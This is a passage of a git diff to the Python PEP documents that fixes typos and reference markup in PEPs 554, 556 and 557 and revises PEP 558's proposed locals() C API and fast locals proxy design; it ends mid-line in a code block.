@@ -844,7 +844,7 @@ API for sharing data Subinterpreters are less useful without a mechanism for sharing data between them. Sharing actual Python objects between interpreters, however, has enough potential problems that we are avoiding support -for that here. Instead, only mimimum set of types will be supported. +for that here. Instead, only minimum set of types will be supported. Initially this will include ``None``, ``bytes``, ``str``, ``int``, and channels. Further types may be supported later. @@ -878,7 +878,7 @@ with unbuffered semantics). Python objects are not shared between interpreters. However, in some cases data those objects wrap is actually shared and not just copied. -One example might be PEP 3118 buffers. In those cases the object in the +One example might be :pep:`3118` buffers. In those cases the object in the original interpreter is kept alive until the shared data in the other interpreter is no longer used. Then object destruction can happen like normal in the original interpreter, along with the previously shared @@ -956,7 +956,7 @@ The module also provides the following channel-related classes:: Channel Lifespan ---------------- -A channel is automatically closed and destoyed once there are no more +A channel is automatically closed and destroyed once there are no more Python objects (e.g. ``RecvChannel`` and ``SendChannel``) referring to it. So it is effectively triggered via garbage-collection of those objects.. @@ -972,8 +972,8 @@ has specific restrictions on any code it runs. This includes the following: * importing an extension module fails if it does not implement the - PEP 489 API -* new threads are not allowed (including daemon threads) + :pep:`489` API +* new threads of any kind are not allowed * ``os.fork()`` is not allowed (so no ``multiprocessing``) * ``os.exec*()``, AKA "fork+exec", is not allowed (so no ``subprocess``) @@ -984,7 +984,7 @@ keyword-only argument set to ``True`` (the default). If restrictions is applied. One advantage of this approach is that it allows extension maintainers -to check subinterpreter compatibility before they implement the PEP 489 +to check subinterpreter compatibility before they implement the :pep:`489` API. Also note that ``isolated=False`` represents the historical behavior when using the existing subinterpreters C-API, thus providing backward compatibility. For the existing C-API itself, the default @@ -993,7 +993,7 @@ existing use of Python will not change. We may choose to later loosen some of the above restrictions or provide a way to enable/disable granular restrictions individually. Regardless, -requiring PEP 489 support from extension modules will always be a +requiring :pep:`489` support from extension modules will always be a default restriction. @@ -1014,16 +1014,16 @@ the following: A separate page will be added to the docs for resources to help extension maintainers ensure their modules can be used safely in -subinterpreters, under `Extending Python `_. The page +subinterpreters, under `Extending Python `_. The page will include the following information: * a summary about subinterpreters (similar to the same in the new ``interpreters`` module page and in the C-API docs) * an explanation of how extension modules can be impacted -* how to implement PEP 489 support +* how to implement :pep:`489` support * how to move from global module state to per-interpreter -* how to take advantage of PEP 384 (heap types), PEP 3121 - (module state), and PEP 573 +* how to take advantage of :pep:`384` (heap types), :pep:`3121` + (module state), and :pep:`573` * strategies for dealing with 3rd party C libraries that keep their own subinterpreter-incompatible global state @@ -1114,7 +1114,7 @@ request. However, it is outside the narrow scope of this PEP. C-extension opt-in/opt-out -------------------------- -By using the ``PyModuleDef_Slot`` introduced by PEP 489, we could easily +By using the ``PyModuleDef_Slot`` introduced by :pep:`489`, we could easily add a mechanism by which C-extension modules could opt out of support for subinterpreters. Then the import machinery, when operating in a subinterpreter, would need to check the module for support. It would @@ -1122,7 +1122,7 @@ raise an ImportError if unsupported. Alternately we could support opting in to subinterpreter support. However, that would probably exclude many more modules (unnecessarily) -than the opt-out approach. Also, note that PEP 489 defined that an +than the opt-out approach. Also, note that :pep:`489` defined that an extension's use of the PEP's machinery implies support for subinterpreters. @@ -1258,7 +1258,7 @@ this can wait. Pipes and Queues ---------------- -With the proposed object passing machanism of "channels", other similar +With the proposed object passing mechanism of "channels", other similar basic types aren't required to achieve the minimal useful functionality of subinterpreters. Such types include pipes (like unbuffered channels, but one-to-one) and queues (like channels, but more generic). See below @@ -1412,7 +1412,7 @@ Add SendChannel.send_buffer() ----------------------------- This method would allow no-copy sending of an object through a channel -if it supports the PEP 3118 buffer protocol (e.g. memoryview). +if it supports the :pep:`3118` buffer protocol (e.g. memoryview). Support for this is not fundamental to channels and can be added on later without much disruption. @@ -1629,7 +1629,7 @@ you go: * all necessary C-API work has been finished * all anticipated work in the runtime has been finished -The implementation effort for PEP 554 is being tracked as part of +The implementation effort for :pep:`554` is being tracked as part of a larger project aimed at improving multi-core support in CPython. [multi-core-project]_ @@ -1640,8 +1640,6 @@ References .. [c-api] https://docs.python.org/3/c-api/init.html#sub-interpreter-support -.. _Communicating Sequential Processes: - .. [CSP] https://en.wikipedia.org/wiki/Communicating_sequential_processes https://github.com/futurecore/python-csp @@ -1674,19 +1672,12 @@ References .. [global-atexit] https://bugs.python.org/issue6531 -.. [mp-conn] - https://docs.python.org/3/library/multiprocessing.html#connection-objects - .. [bug-rate] https://mail.python.org/pipermail/python-ideas/2017-September/047094.html .. [benefits] https://mail.python.org/pipermail/python-ideas/2017-September/047122.html -.. [main-thread] - https://mail.python.org/pipermail/python-ideas/2017-September/047144.html - https://mail.python.org/pipermail/python-dev/2017-September/149566.html - .. [reset_globals] https://mail.python.org/pipermail/python-dev/2017-September/149545.html @@ -1706,12 +1697,18 @@ References .. [cache-line-ping-pong] https://mail.python.org/archives/list/python-dev@python.org/message/3HVRFWHDMWPNR367GXBILZ4JJAUQ2STZ/ -.. [nathaniel-asyncio] +.. _nathaniel-asyncio: https://mail.python.org/archives/list/python-dev@python.org/message/TUEAZNZHVJGGLL4OFD32OW6JJDKM6FAS/ -.. [extension-docs] +.. _extension-docs: https://docs.python.org/3/extending/index.html +* mp-conn + https://docs.python.org/3/library/multiprocessing.html#connection-objects + +* main-thread + https://mail.python.org/pipermail/python-ideas/2017-September/047144.html + https://mail.python.org/pipermail/python-dev/2017-September/149566.html Copyright ========= diff --git a/pep-0556.rst b/pep-0556.rst index d8b060902e1..2f70120fb17 100644 --- a/pep-0556.rst +++ b/pep-0556.rst @@ -6,7 +6,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 08-Sep-2017 Python-Version: 3.7 -Post-History: 2017-09-08 +Post-History: 08-Sep-2017 Deferral Notice diff --git a/pep-0557.rst b/pep-0557.rst index 9520272d87c..d30d302efd1 100644 --- a/pep-0557.rst +++ b/pep-0557.rst @@ -28,7 +28,7 @@ inheritance, metaclasses, docstrings, user-defined methods, class factories, and other Python class features. A class decorator is provided which inspects a class definition for -variables with type annotations as defined in PEP 526, "Syntax for +variables with type annotations as defined in :pep:`526`, "Syntax for Variable Annotations". In this document, such variables are called fields. Using these fields, the decorator adds generated method definitions to the class to support instance initialization, a repr, @@ -108,7 +108,7 @@ Some examples include: So, why is this PEP needed? -With the addition of PEP 526, Python has a concise way to specify the +With the addition of :pep:`526`, Python has a concise way to specify the type of class members. This PEP leverages that syntax to provide a simple, unobtrusive way to describe Data Classes. With two exceptions, the specified attribute type annotation is completely ignored by Data @@ -121,7 +121,7 @@ interference from Data Classes. The decorated classes are truly interfere with any usage of the class. One main design goal of Data Classes is to support static type -checkers. The use of PEP 526 syntax is one example of this, but so is +checkers. The use of :pep:`526` syntax is one example of this, but so is the design of the ``fields()`` function and the ``@dataclass`` decorator. Due to their very dynamic nature, some of the libraries mentioned above are difficult to use with static type checkers. @@ -400,7 +400,7 @@ Class variables --------------- One place where ``dataclass`` actually inspects the type of a field is -to determine if a field is a class variable as defined in PEP 526. It +to determine if a field is a class variable as defined in :pep:`526`. It does this by checking if the type of the field is ``typing.ClassVar``. If a field is a ``ClassVar``, it is excluded from consideration as a field and is ignored by the Data Class mechanisms. For more @@ -676,7 +676,7 @@ python-ideas discussion This discussion started on python-ideas [#]_ and was moved to a GitHub repo [#]_ for further discussion. As part of this discussion, we made -the decision to use PEP 526 syntax to drive the discovery of fields. +the decision to use :pep:`526` syntax to drive the discovery of fields. Support for automatically setting ``__slots__``? ------------------------------------------------ @@ -810,7 +810,7 @@ asdict and astuple function names --------------------------------- The names of the module-level helper functions ``asdict()`` and -``astuple()`` are arguably not PEP 8 compliant, and should be +``astuple()`` are arguably not :pep:`8` compliant, and should be ``as_dict()`` and ``as_tuple()``, respectively. However, after discussion [#]_ it was decided to keep consistency with ``namedtuple._asdict()`` and ``attr.asdict()``. @@ -949,8 +949,7 @@ References .. [#] Python documentation for __hash__ (https://docs.python.org/3/reference/datamodel.html#object.__hash__) -.. [#] ClassVar discussion in PEP 526 - (https://www.python.org/dev/peps/pep-0526/#class-and-instance-variable-annotations) +.. [#] :pep:`ClassVar discussion in PEP 526 <526#class-and-instance-variable-annotations>` .. [#] Start of python-ideas discussion (https://mail.python.org/pipermail/python-ideas/2017-May/045618.html) @@ -964,7 +963,7 @@ References .. [#] why not just attrs? (https://github.com/ericvsmith/dataclasses/issues/19) -.. [#] PEP 8 names for asdict and astuple +.. [#] :pep:`8` names for asdict and astuple (https://github.com/ericvsmith/dataclasses/issues/110) .. [#] Copying mutable defaults diff --git a/pep-0558.rst b/pep-0558.rst index 68ec79c1c19..a35559ec3b5 100644 --- a/pep-0558.rst +++ b/pep-0558.rst @@ -2,13 +2,14 @@ PEP: 558 Title: Defined semantics for locals() Author: Nick Coghlan BDFL-Delegate: Nathaniel J. Smith -Discussions-To: https://discuss.python.org/t/pep-558-defined-semantics-for-locals/2936 +Discussions-To: python-dev@python.org Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 08-Sep-2017 -Python-Version: 3.10 -Post-History: 2017-09-08, 2019-05-22, 2019-05-30, 2019-12-30 +Python-Version: 3.11 +Post-History: 08-Sep-2017, 22-May-2019, 30-May-2019, 30-Dec-2019, 18-Jul-2021, + 26-Aug-2021 Abstract @@ -17,7 +18,7 @@ Abstract The semantics of the ``locals()`` builtin have historically been underspecified and hence implementation dependent. -This PEP proposes formally standardising on the behaviour of the CPython 3.8 +This PEP proposes formally standardising on the behaviour of the CPython 3.10 reference implementation for most execution scopes, with some adjustments to the behaviour at function scope to make it more predictable and independent of the presence or absence of tracing functions. @@ -25,17 +26,23 @@ presence or absence of tracing functions. In addition, it proposes that the following functions be added to the stable Python C API/ABI:: + typedef enum { + PyLocals_UNDEFINED = -1, + PyLocals_DIRECT_REFERENCE = 0, + PyLocals_SHALLOW_COPY = 1, + _PyLocals_ENSURE_32BIT_ENUM = 2147483647 + } PyLocals_Kind; + + PyLocals_Kind PyLocals_GetKind(); PyObject * PyLocals_Get(); - int PyLocals_GetReturnsCopy(); PyObject * PyLocals_GetCopy(); - PyObject * PyLocals_GetView(); - int PyLocals_RefreshViews(); It also proposes the addition of several supporting functions and type definitions to the CPython C API. -Rationale -========= + +Motivation +========== While the precise semantics of the ``locals()`` builtin are nominally undefined, in practice, many Python programs depend on it behaving exactly as it behaves in @@ -82,10 +89,13 @@ each invocation will update and return. This PEP also proposes to largely eliminate the concept of a separate "tracing" mode from the CPython reference implementation. In releases up to and including -Python 3.9, the CPython interpreter behaves differently when a trace hook has +Python 3.10, the CPython interpreter behaves differently when a trace hook has been registered in one or more threads via an implementation dependent mechanism like ``sys.settrace`` ([4]_) in CPython's ``sys`` module or -``PyEval_SetTrace`` ([5]_) in CPython's C API. +``PyEval_SetTrace`` ([5]_) in CPython's C API. If this PEP is accepted, then +the only remaining behavioural difference when a trace hook is installed is that +some optimisations in the interpreter eval loop are disabled when the tracing +logic needs to run after each opcode. This PEP proposes changes to CPython's behaviour at function scope that make the ``locals()`` builtin semantics when a trace hook is registered identical to @@ -94,7 +104,9 @@ API semantics clearer and easier for interactive debuggers to rely on. The proposed elimination of tracing mode affects the semantics of frame object references obtained through other means, such as via a traceback, or via the -``sys._getframe()`` API. +``sys._getframe()`` API, as the write-through semantics needed for trace hook +support are always provided by the ``f_locals`` attribute on frame objects, +rather than being runtime state dependent. New ``locals()`` documentation @@ -250,12 +262,62 @@ implementation, as CPython currently returns a shared mapping object that may be implicitly refreshed by additional calls to ``locals()``, and the "write back" strategy currently used to support namespace changes from trace functions also doesn't comply with it (and causes the quirky -behavioural problems mentioned in the Rationale). +behavioural problems mentioned in the Motivation above). CPython Implementation Changes ============================== +Summary of proposed implementation-specific changes +--------------------------------------------------- + +* Changes are made as necessary to provide the updated Python level semantics +* Two new functions are added to the stable ABI to replicate the updated + behaviour of the Python ``locals()`` builtin:: + + PyObject * PyLocals_Get(); + PyLocals_Kind PyLocals_GetKind(); +* One new function is added to the stable ABI to efficiently get a snapshot of + the local namespace in the running frame:: + + PyObject * PyLocals_GetCopy(); +* Corresponding frame accessor functions for these new public APIs are added to + the CPython frame C API +* On optimised frames, the Python level ``f_locals`` API will return dynamically + created read/write proxy objects that directly access the frame's local and + closure variable storage. To provide interoperability with the existing + ``PyEval_GetLocals()`` API, the proxy objects will continue to use the C level + frame locals data storage field to hold a value cache that also allows for + storage of arbitrary additional keys. Additional details on the expected + behaviour of these fast locals proxy objects are covered below. +* No C API function is added to get access to a mutable mapping for the local + namespace. Instead, ``PyObject_GetAttrString(frame, "f_locals")`` is used, the + same API as is used in Python code. +* ``PyEval_GetLocals()`` remains supported and does not emit a programmatic + warning, but will be deprecated in the documentation in favour of the new + APIs that don't rely on returning a borrowed reference +* ``PyFrame_FastToLocals()`` and ``PyFrame_FastToLocalsWithError()`` remain + supported and do not emit a programmatic warning, but will be deprecated in + the documentation in favour of the new APIs that don't require direct access + to the internal data storage layout of frame objects +* ``PyFrame_LocalsToFast()`` always raises ``RuntimeError()``, indicating that + ``PyObject_GetAttrString(frame, "f_locals")`` should be used to obtain a + mutable read/write mapping for the local variables. +* The trace hook implementation will no longer call ``PyFrame_FastToLocals()`` + implicitly. The version porting guide will recommend migrating to + ``PyFrame_GetLocals()`` for read-only access and + ``PyObject_GetAttrString(frame, "f_locals")`` for read/write access. + + +Providing the updated Python level semantics +-------------------------------------------- + +The implementation of the ``locals()`` builtin is modified to return a distinct +copy of the local namespace for optimised frames, rather than a direct reference +to the internal frame value cache updated by the ``PyFrame_FastToLocals()`` C +API and returned by the ``PyEval_GetLocals()`` C API. + + Resolving the issues with tracing mode behaviour ------------------------------------------------ @@ -268,26 +330,27 @@ that locals mutation support for trace hooks is currently implemented: the When a trace function is installed, CPython currently does the following for function frames (those where the code object uses "fast locals" semantics): -1. Calls ``PyFrame_FastToLocals`` to update the dynamic snapshot +1. Calls ``PyFrame_FastToLocals`` to update the frame value cache 2. Calls the trace hook (with tracing of the hook itself disabled) -3. Calls ``PyFrame_LocalsToFast`` to capture any changes made to the dynamic - snapshot +3. Calls ``PyFrame_LocalsToFast`` to capture any changes made to the frame + value cache This approach is problematic for a few different reasons: -* Even if the trace function doesn't mutate the snapshot, the final step resets - any cell references back to the state they were in before the trace function - was called (this is the root cause of the bug report in [1]_) -* If the trace function *does* mutate the snapshot, but then does something - that causes the snapshot to be refreshed, those changes are lost (this is - one aspect of the bug report in [3]_) +* Even if the trace function doesn't mutate the value cache, the final step + resets any cell references back to the state they were in before the trace + function was called (this is the root cause of the bug report in [1]_) +* If the trace function *does* mutate the value cache, but then does something + that causes the value cache to be refreshed from the frame, those changes are + lost (this is one aspect of the bug report in [3]_) * If the trace function attempts to mutate the local variables of a frame other than the one being traced (e.g. ``frame.f_back.f_locals``), those changes will almost certainly be lost (this is another aspect of the bug report in [3]_) -* If a ``locals()`` reference is passed to another function, and *that* - function mutates the snapshot namespace, then those changes *may* be written - back to the execution frame *if* a trace hook is installed +* If a reference to the frame value cache (e.g. retrieved via ``locals()``) is + passed to another function, and *that* function mutates the value cache, then + those changes *may* be written back to the execution frame *if* a trace hook + is installed The proposed resolution to this problem is to take advantage of the fact that whereas functions typically access their *own* namespace using the language @@ -295,52 +358,127 @@ defined ``locals()`` builtin, trace functions necessarily use the implementation dependent ``frame.f_locals`` interface, as a frame reference is what gets passed to hook implementations. -Instead of being a direct reference to the internal dynamic snapshot used to -populate the independent snapshots returned by ``locals()``, ``frame.f_locals`` -will be updated to instead return a dedicated proxy type (implemented as a -private subclass of the existing ``types.MappingProxyType``) that has two -internal attributes not exposed as part of the Python runtime API: - -* *mapping*: an implicitly updated snapshot of the function local variables - and closure references, as well as any arbitrary items that have been set via - the mapping API, even if they don't have storage allocated for them on the - underlying frame -* *frame*: the underlying frame that the snapshot is for - -For backwards compatibility, the stored snapshot will continue to be made -available through the public ``PyEval_GetLocals()`` C API. - -``__getitem__`` operations on the proxy will read directly from the stored -snapshot. - -The stored snapshot is implicitly updated when the ``f_locals`` attribute is -retrieved from the frame object, as well as individual keys being updated by -mutating operations on the proxy itself. This means that if a reference to the -proxy is obtained from within the function, the proxy won't implicitly pick up -name binding operations that take place as the function executes - the -``f_locals`` attribute on the frame will need to be accessed again in order to -trigger a refresh. - -``__setitem__`` and ``__delitem__`` operations on the proxy will affect not only -the dynamic snapshot, but *also* the corresponding fast local or cell reference -on the underlying frame. - -After a frame has finished executing, cell references can still be updated via -the proxy, but the link back to the underlying frame is explicitly broken to -avoid creating a persistent reference cycle that unexpectedly keeps frames -alive. - -Other MutableMapping methods will behave as expected for a mapping with these -essential method semantics. - - -Making the behaviour at function scope less surprising ------------------------------------------------------- - -The ``locals()`` builtin will be made aware of the new fast locals proxy type, -and when it detects it on a frame, will return a fresh snapshot of the local -namespace (i.e. the equivalent of ``dict(frame.f_locals)``) rather than -returning the proxy directly. +Instead of being a direct reference to the internal frame value cache historically +returned by the ``locals()`` builtin, the Python level ``frame.f_locals`` will be +updated to instead return instances of a dedicated fast locals proxy type that +writes and reads values directly to and from the fast locals array on the +underlying frame. Each access of the attribute produces a new instance of the +proxy (so creating proxy instances is intentionally a cheap operation). + +Despite the new proxy type becoming the preferred way to access local variables +on optimised frames, the internal value cache stored on the frame is still +retained for two key purposes: + +* maintaining backwards compatibility for and interoperability with the + ``PyEval_GetLocals()`` C API +* providing storage space for additional keys that don't have slots in the + fast locals array (e.g. the ``__return__`` and ``__exception__`` keys set by + ``pdb`` when tracing code execution for debugging purposes) + + +With the changes in this PEP, this internal frame value cache is no longer +directly accessible from Python code (whereas historically it was both +returned by the ``locals()`` builtin and available as the ``frame.f_locals`` +attribute). Instead, the value cache is only accessible via the +``PyEval_GetLocals()`` C API and by directly accessing the internal storage of +a frame object. + +Fast locals proxy objects and the internal frame value cache returned by +``PyEval_GetLocals()`` offer the following behavioural guarantees: + +* changes made via a fast locals proxy will be immediately visible to the frame + itself, to other fast locals proxy objects for the same frame, and in the + internal value cache stored on the frame (it is this last point that provides + ``PyEval_GetLocals()`` interoperability) +* changes made directly to the internal frame value cache will never be visible + to the frame itself, and will only be reliably visible via fast locals proxies + for the same frame if the change relates to extra variables that don't have + slots in the frame's fast locals array +* changes made by executing code in the frame will be immediately visible to all + fast locals proxy objects for that frame (both existing proxies and newly + created ones). Visibility in the internal frame value cache cache returned + by ``PyEval_GetLocals()`` is subject to the cache update guidelines discussed + in the next section + +As a result of these points, only code using ``PyEval_GetLocals()``, +``PyLocals_Get()``, or ``PyLocals_GetCopy()`` will need to be concerned about +the frame value cache potentially becoming stale. Code using the new frame fast +locals proxy API (whether from Python or from C) will always see the live state +of the frame. + + +Fast locals proxy implementation details +---------------------------------------- + +Each fast locals proxy instance has a single internal attribute that is not +exposed as part of the Python runtime API: + +* *frame*: the underlying optimised frame that the proxy provides access to + +In addition, proxy instances use and update the following attributes stored on the +underlying frame or code object: + +* *_name_to_offset_mapping*: a hidden mapping from variable names to fast local + storage offsets. This mapping is lazily initialized on the first frame read or + write access through a fast locals proxy, rather than being eagerly populated + as soon as the first fast locals proxy is created. Since the mapping is + identical for all frames running a given code object, a single copy is stored + on the code object, rather than each frame object populating its own mapping +* *locals*: the internal frame value cache returned by the ``PyEval_GetLocals()`` + C API and updated by the ``PyFrame_FastToLocals()`` C API. This is the mapping + that the ``locals()`` builtin returns in Python 3.10 and earlier. + +``__getitem__`` operations on the proxy will populate the ``_name_to_offset_mapping`` +on the code object (if it is not already populated), and then either return the +relevant value (if the key is found in either the ``_name_to_offset_mapping`` +mapping or the internal frame value cache), or else raise ``KeyError``. Variables +that are defined on the frame but not currently bound also raise ``KeyError`` +(just as they're omitted from the result of ``locals()``). + +As the frame storage is always accessed directly, the proxy will automatically +pick up name binding and unbinding operations that take place as the function +executes. The internal value cache is implicitly updated when individual +variables are read from the frame state (including for containment checks, +which need to check if the name is currently bound or unbound). + +Similarly, ``__setitem__`` and ``__delitem__`` operations on the proxy will +directly affect the corresponding fast local or cell reference on the underlying +frame, ensuring that changes are immediately visible to the running Python code, +rather than needing to be written back to the runtime storage at some later time. +Such changes are also immediately written to the internal frame value cache to +make them visible to users of the ``PyEval_GetLocals()`` C API. + +Keys that are not defined as local or closure variables on the underlying frame +are still written to the internal value cache on optimised frames. This allows +utilities like ``pdb`` (which writes ``__return__`` and ``__exception__`` +values into the frame's ``f_locals`` mapping) to continue working as they always +have. These additional keys that do not correspond to a local or closure +variable on the frame will be left alone by future cache sync operations. +Using the frame value cache to store these extra keys (rather than defining a +new mapping that holds only the extra keys) provides full interoperability +with the existing ``PyEval_GetLocals()`` API (since users of either API will +see extra keys added by users of either API, rather than users of the new fast +locals proxy API only seeing keys added via that API). + +An additional benefit of storing only the variable value cache on the frame +(rather than storing an instance of the proxy type), is that it avoids +creating a reference cycle from the frame back to itself, so the frame will +only be kept alive if another object retains a reference to a proxy instance. + +Note: calling the ``proxy.clear()`` method has a similarly broad impact as +calling ``PyFrame_LocalsToFast()`` on an empty frame value cache in earlier +versions. Not only will the frame local variables be cleared, but also any cell +variables accessible from the frame (whether those cells are owned by the +frame itself or by an outer frame). This *can* clear a class's ``__class__`` +cell if called on the frame of a method that uses the zero-arg ``super()`` +construct (or otherwise references ``__class__``). This exceeds the scope of +calling ``frame.clear()``, as that only drop's the frame's references to cell +variables, it doesn't clear the cells themselves. This PEP could be a potential +opportunity to narrow the scope of attempts to clear the frame variables +directly by leaving cells belonging to outer frames alone, and only clearing +local variables and cells belonging directly to the frame underlying the proxy +(this issue affects :pep:`667` as well, as the question relates to the handling of +cell variables, and is entirely independent of the internal frame value cache). Changes to the stable C API/ABI @@ -359,7 +497,7 @@ To enable mimicking the behaviour of Python code, the stable C ABI would gain the following new functions:: PyObject * PyLocals_Get(); - int PyLocals_GetReturnsCopy(); + PyLocals_Kind PyLocals_GetKind(); ``PyLocals_Get()`` is directly equivalent to the Python ``locals()`` builtin. It returns a new reference to the local namespace mapping for the active @@ -367,38 +505,41 @@ Python frame at module and class scope, and when using ``exec()`` or ``eval()``. It returns a shallow copy of the active namespace at function/coroutine/generator scope. -``PyLocals_GetReturnsCopy()`` returns zero if ``PyLocals_Get()`` returns a -direct reference to the local namespace mapping, and a non-zero value if it -returns a shallow copy. This allows extension module code to determine the -potential impact of mutating the mapping returned by ``PyLocals_Get()`` without -needing access to the details of the running frame object. +``PyLocals_GetKind()`` returns a value from the newly defined ``PyLocals_Kind`` +enum, with the following options being available: + +* ``PyLocals_DIRECT_REFERENCE``: ``PyLocals_Get()`` returns a direct reference + to the local namespace for the running frame. +* ``PyLocals_SHALLOW_COPY``: ``PyLocals_Get()`` returns a shallow copy of the + local namespace for the running frame. +* ``PyLocals_UNDEFINED``: an error occurred (e.g. no active Python thread + state). A Python exception will be set if this value is returned. + +Since the enum is used in the stable ABI, an additional 31-bit value is set to +ensure that it is safe to cast arbitrary signed 32-bit signed integers to +``PyLocals_Kind`` values. + +This query API allows extension module code to determine the potential impact +of mutating the mapping returned by ``PyLocals_Get()`` without needing access +to the details of the running frame object. Python code gets equivalent +information visually through lexical scoping (as covered in the new ``locals()`` +builtin documentation). To allow extension module code to behave consistently regardless of the active -Python scope, the stable C ABI would gain the following new functions:: +Python scope, the stable C ABI would gain the following new function:: PyObject * PyLocals_GetCopy(); - PyObject * PyLocals_GetView(); - int PyLocals_RefreshViews(); ``PyLocals_GetCopy()`` returns a new dict instance populated from the current locals namespace. Roughly equivalent to ``dict(locals())`` in Python code, but avoids the double-copy in the case where ``locals()`` already returns a shallow -copy. - -``PyLocals_GetView()`` returns a new read-only mapping proxy instance for the -current locals namespace. This view is immediately updated for all local -variable changes at module and class scope, and when using exec() or eval(). -It is updated at implementation dependent times at function/coroutine/generator -scope (accessing the existing ``PyEval_GetLocals()`` API, or any of the -``PyLocals_Get*`` APIs, including calling ``PyLocals_GetView()`` again, will -always force an update). - -``PyLocals_RefreshViews()`` updates any views previously returned by -``PyLocals_GetView()`` with the current status of the frame. A non-zero return -value indicates that an error occurred with the update, and the views may not -accurately reflect the current state of the frame. The Python exception state -will be set in such cases. This function also refreshes the shared dynamic -snapshot returned by ``PyEval_GetLocals()`` in optimised scopes. +copy. Akin to the following code, but doesn't assume there will only ever be +two kinds of locals result:: + + locals = PyLocals_Get(); + if (PyLocals_GetKind() == PyLocals_DIRECT_REFERENCE) { + locals = PyDict_Copy(locals); + } The existing ``PyEval_GetLocals()`` API will retain its existing behaviour in CPython (mutable locals at class and module scope, shared dynamic snapshot @@ -409,17 +550,21 @@ The ``PyEval_GetLocals()`` documentation will also be updated to recommend replacing usage of this API with whichever of the new APIs is most appropriate for the use case: -* Use ``PyLocals_Get()`` to exactly match the semantics of the Python level - ``locals()`` builtin. -* Use ``PyLocals_GetView()`` for read-only access to the current locals - namespace. +* Use ``PyLocals_Get()`` (optionally combined with ``PyDictProxy_New()``) for + read-only access to the current locals namespace. This form of usage will + need to be aware that the copy may go stale in optimised frames. * Use ``PyLocals_GetCopy()`` for a regular mutable dict that contains a copy of the current locals namespace, but has no ongoing connection to the active frame. -* Query ``PyLocals_GetReturnsCopy()`` explicitly to implement custom handling +* Use ``PyLocals_Get()`` to exactly match the semantics of the Python level + ``locals()`` builtin. +* Query ``PyLocals_GetKind()`` explicitly to implement custom handling (e.g. raising a meaningful exception) for scopes where ``PyLocals_Get()`` would return a shallow copy rather than granting read/write access to the locals namespace. +* Use implementation specific APIs (e.g. ``PyObject_GetAttrString(frame, "f_locals")``) + if read/write access to the frame is required and ``PyLocals_GetKind()`` + returns something other than ``PyLocals_DIRECT_REFERENCE``. Changes to the public CPython C API @@ -427,79 +572,95 @@ Changes to the public CPython C API The existing ``PyEval_GetLocals()`` API returns a borrowed reference, which means it cannot be updated to return the new shallow copies at function -scope. Instead, it will return a borrowed reference to the internal mapping -maintained by the fast locals proxy. This shared mapping will behave similarly -to the existing shared mapping in Python 3.8 and earlier, but the exact -conditions under which it gets refreshed will be different. Specifically: - -* accessing the Python level ``f_locals`` frame attribute +scope. Instead, it will continue to return a borrowed reference to an internal +dynamic snapshot stored on the frame object. This shared mapping will behave +similarly to the existing shared mapping in Python 3.10 and earlier, but the exact +conditions under which it gets refreshed will be different. Specifically, it +will be updated only in the following circumstance: + +* any call to ``PyEval_GetLocals()``, ``PyLocals_Get()``, ``PyLocals_GetCopy()``, + or the Python ``locals()`` builtin while the frame is running * any call to ``PyFrame_GetLocals()``, ``PyFrame_GetLocalsCopy()``, - ``PyFrame_GetLocalsView()``, ``_PyFrame_BorrowLocals()``, or - ``PyFrame_RefreshLocalsViews()`` for the frame -* any call to ``PyLocals_Get()``, ``PyLocals_GetCopy()``, ``PyLocals_GetView()``, - ``PyLocals_RefreshViews()``, or the Python ``locals()`` builtin while the - frame is running - -(Even though ``PyEval_GetLocals()`` is part of the stable C API/ABI, the + ``_PyFrame_BorrowLocals()``, ``PyFrame_FastToLocals()``, or + ``PyFrame_FastToLocalsWithError()`` for the frame +* any operation on a fast locals proxy object that updates the shared + mapping as part of its implementation. In the initial reference + implementation, those operations are those that are intrinsically ``O(n)`` + operations (``len(flp)``, mapping comparison, ``flp.copy()`` and rendering as + a string), as well as those that refresh the cache entries for individual keys. + +Requesting a fast locals proxy will *not* implicitly update the shared dynamic +snapshot, and the CPython trace hook handling will no longer implicitly update +it either. + +(Note: even though ``PyEval_GetLocals()`` is part of the stable C API/ABI, the specifics of when the namespace it returns gets refreshed are still an interpreter implementation detail) The additions to the public CPython C API are the frame level enhancements needed to support the stable C API/ABI updates:: + PyLocals_Kind PyFrame_GetLocalsKind(frame); PyObject * PyFrame_GetLocals(frame); - int PyFrame_GetLocalsReturnsCopy(frame); PyObject * PyFrame_GetLocalsCopy(frame); - PyObject * PyFrame_GetLocalsView(frame); - int PyFrame_RefreshLocalsViews(frame); PyObject * _PyFrame_BorrowLocals(frame); -``PyFrame_GetLocals(frame)`` is the underlying API for ``PyLocals_Get()``. -``PyFrame_GetLocalsReturnsCopy(frame)`` is the underlying API for -``PyLocals_GetReturnsCopy()``. +``PyFrame_GetLocalsKind(frame)`` is the underlying API for +``PyLocals_GetKind()``. + +``PyFrame_GetLocals(frame)`` is the underlying API for ``PyLocals_Get()``. ``PyFrame_GetLocalsCopy(frame)`` is the underlying API for ``PyLocals_GetCopy()``. -``PyFrame_GetLocalsView(frame)`` is the underlying API for ``PyLocals_GetView()``. - -``PyFrame_RefreshLocalsViews(frame)`` is the underlying API for -``PyLocals_RefreshViews()``. In the draft reference implementation, it is also -needed in CPython when accessing the frame ``f_locals`` attribute directly from -the frame struct, or the mapping returned by ``_PyFrame_BorrowLocals(frame)``, -and ``PyFrame_GetLocalsReturnsCopy()`` is true for that frame (otherwise the -locals proxy may report stale information). - ``_PyFrame_BorrowLocals(frame)`` is the underlying API for ``PyEval_GetLocals()``. The underscore prefix is intended to discourage use and to indicate that code using it is unlikely to be portable across -implementations. However, it is documented and visible to the linker because -the dynamic snapshot stored inside the write-through proxy is otherwise -completely inaccessible from C code (in the draft reference implementation, -the struct definition for the fast locals proxy itself is deliberately kept -private to the frame implementation, so not even the rest of CPython can see -it - instances must be manipulated via the Python mapping C API). +implementations. However, it is documented and visible to the linker in order +to avoid having to access the internals of the frame struct from the +``PyEval_GetLocals()`` implementation. The ``PyFrame_LocalsToFast()`` function will be changed to always emit ``RuntimeError``, explaining that it is no longer a supported operation, and -affected code should be updated to use ``PyFrame_GetLocals(frame)``, -``PyFrame_GetLocalsCopy(frame)``, or ``PyFrame_GetLocalsView(frame)`` instead. +affected code should be updated to use +``PyObject_GetAttrString(frame, "f_locals")`` to obtain a read/write proxy +instead. In addition to the above documented interfaces, the draft reference implementation also exposes the following undocumented interfaces:: PyTypeObject _PyFastLocalsProxy_Type; - #define _PyFastLocalsProxy_CheckExact(self) \ - (Py_TYPE(self) == &_PyFastLocalsProxy_Type) + #define 